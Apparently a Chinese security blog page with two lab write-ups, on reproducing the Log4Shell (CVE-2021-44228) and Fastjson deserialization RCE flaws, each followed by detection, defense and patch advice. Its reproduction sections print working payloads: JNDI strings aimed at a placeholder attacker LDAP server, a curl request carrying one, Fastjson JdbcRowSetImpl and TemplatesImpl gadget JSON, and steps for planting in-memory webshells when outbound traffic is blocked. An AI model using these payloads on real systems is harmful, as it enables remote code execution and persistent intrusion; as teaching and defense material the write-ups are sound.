Fastjson on SoulJian小站

Log4j2 RCE 漏洞复现与缓解

Sat, 29 Aug 2026 13:30:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Log4Shell 影响面极广，禁止对真实系统触发 ${jndi:...} payload。

一、漏洞原理

Log4j2 的日志格式化支持 ${} 查找表达式（Lookup），其中包含 JNDI 查找。攻击者只要把 ${jndi:ldap://...} 塞进任何会被日志记录的字段（用户名、User-Agent、参数），服务器记录日志时就会发起 JNDI 查询，加载远程恶意对象 → RCE。

核心链路：

1
2
3
4


1. 日志记录不可信输入
2. 输入含 ${jndi:ldap://攻击机/Exploit}
3. Log4j2 解析表达式发起 JNDI 查询
4. 加载恶意类 → 命令执行

影响版本：Log4j2 2.0 – 2.14.1（CVE-2021-44228）。

二、影响与危害

1
2
3


远程代码执行（RCE）
几乎所有用 Log4j2 记录的输入点都可能触发
Java 应用、中间件、供应链组件大面积受影响

风险等级：严重，是 2021 年影响面最大的漏洞之一。

三、利用 / 复现

环境准备

靶场：一个用 Log4j2 记录日志的 Java 应用；攻击机：JNDI 工具（如 JNDIExploit）+ 监听端口。

第一步：用 DNSLog 验证是否存在

构造不执行命令、只做 DNS 回显的 payload：

1

${jndi:ldap://xxxxxxxx.dnslog.cn/a}

放到 User-Agent 或用户名里，触发一次请求，到 DNSLog 平台看有没有收到解析记录。

第二步：执行命令（授权环境）

1

curl -H 'User-Agent: ${jndi:ldap://攻击机:1389/Exploit}' http://127.0.0.1:8080/

攻击机 JNDI 服务返回恶意类，目标执行命令或反弹 Shell。

常见触发点

1
2
3


User-Agent、Referer、X-Forwarded-For
用户名、搜索关键词
任意被写进日志的输入字段

四、检测

1
2
3
4


日志/流量中搜 ${jndi:、${ldap:、${rmi:
异常 DNS 查询（对外 LDAP 1389/389、RMI 1099）
JNDI 出站流量到可疑域名
用扫描器批量验证受影响的输入点

五、防御

1
2
3
4


WAF 拦截 ${jndi: 及编码变体
关闭 JNDI 出站（防火墙/安全组）
对日志输入统一过滤特殊表达式
及时安装补丁

六、修复

1
2
3
4


升级 Log4j2 到 2.17.1+（含各分支修复版）
无法升级时设置 -Dlog4j2.formatMsgNoLookups=true
移除不必要的 JNDI/Lookup 依赖
修复后复测：${jndi: 不再触发 JNDI 查询

七、小结

Log4Shell 的教训是“日志输入也是攻击面”：凡是会被记录的不可信字段，都可能成为 RCE 入口。防御核心是升级 + 关闭 JNDI + WAF 拦截，并把它纳入组件漏洞清单持续监控。

Fastjson 反序列化 RCE 漏洞复现

Sat, 29 Aug 2026 13:20:00 +0800

写在前面：合法学习边界

本文复现只在本机靶场进行。Fastjson 反序列化利用可直接控制目标，禁止对真实系统使用。

一、漏洞原理

Fastjson 的 @type 支持在 JSON 里指定要反序列化的类。当 autoType 开启（或绕过校验）时，攻击者可以指定危险类，触发 JNDI 注入或恶意方法链，最终造成命令执行。

核心链路：

1
2
3
4


1. JSON 里带 "@type": 恶意类
2. Fastjson 反序列化时加载该类
3. 类通过 JNDI/LDAP/RMI 拉取远程恶意对象
4. 恶意对象被加载执行 → RCE

影响版本：

1
2


Fastjson ≤ 1.2.24（经典版本）
以及后续多个存在 autoType 绕过问题的版本

二、影响与危害

1
2
3


远程代码执行（RCE）
服务器被完全控制
内网横向移动

风险等级：严重。Fastjson 广泛用于 Java 接口，是实战高频目标。

三、利用 / 复现

环境准备

用 Docker 起 Fastjson 靶场，并在攻击机准备 JNDI 利用工具（如 JNDIExploit / marshalsec）。

第一步：验证是否使用 Fastjson

发送特殊键触发异常，看响应是否暴露 Fastjson 特征：

1

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

第二步：构造恶意 JSON

1
2
3
4
5


{
 "@type": "com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName": "ldap://攻击机:1389/Exploit",
 "autoCommit": true
}

攻击机用 JNDI 工具起 LDAP 服务，把 Exploit 指向一个恶意类。

第三步：触发并验证

1
2
3


curl -X POST http://127.0.0.1:8080/ \
 -H "Content-Type: application/json" \
 -d '{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://攻击机:1389/Exploit","autoCommit":true}'

恶意类执行 id / 反弹 Shell，攻击机收到回连即验证成功。

不出网利用（重点）

很多实战环境目标无法访问攻击机（LDAP/RMI/HTTP 全被拦住），ldap://攻击机 这种 JNDI 出网打法会失败。这时要换思路：

思路一：TemplatesImpl 加载字节码（不出网首选）

利用 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl，把恶意字节码塞进 JSON，由目标本地加载，不需要 JNDI 出网：

1
2
3
4
5
6
7


{
 "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
 "_bytecodes": ["<Base64后的恶意class>"],
 "_name": "a",
 "_tfactory": {},
 "_outputProperties": {}
}

恶意 class 写成继承 AbstractTranslet，在 transform 里执行命令/写内存马。

前提：

1
2


目标 JVM 里存在 TemplatesImpl（JDK 自带）
对应 Fastjson 版本允许该 gadget（部分版本需要 checkAutoType 绕过）

思路二：打内存马（不出网持久化）

即使不能反弹 Shell，也可以往 Java 应用里注入内存马（Filter/Controller 型），用冰蝎/哥斯拉直接连接：

1
2


字节码写 Filter 型内存马 → 部署到应用上下文
后续用 webshell 工具连接，不走外连

思路三：打已有链/本地组件

1
2
3


HikariDataSource + JNDI 方式打 JDBC 连接串
BeanFactory / JdbcRowSetImpl 等本地链
利用应用自身依赖做二次利用

如何判断“出不出网”

1
2
3


用 DNSLog：发 ${jndi:ldap://xxx.dnslog.cn/a}，看是否有 DNS 回显
无回显 → 默认按不出网处理，直接上 TemplatesImpl/内存马
有回显 → 正常 JNDI 出网打法

四、检测

1
2
3
4


日志中找 "@type" 与常见恶意类名
请求中出现 ldap://、rmi://、jndi:
异常的长 JSON 与反序列化请求
对 Fastjson 版本做指纹确认

五、防御

1
2
3
4


关闭或严格限制 autoType
对 JSON 解析做类白名单
WAF 拦截 @type 与 jndi:/ldap:/rmi:
隔离 Java 应用运行环境

六、修复

1
2
3
4


升级 Fastjson 到安全版本（1.2.83+，并关注后续修复）
或直接迁移到 Jackson 等更安全的 JSON 库
用 safeMode 关闭 autoType
升级后复测：@type 恶意 payload 不再被解析执行

七、小结

Fastjson 漏洞的本质是“JSON 里带类名 → 反序列化加载 → JNDI 触发 RCE”。这类组件漏洞的防御核心是：升级 + 关 autoType + 白名单 + 隔离运行。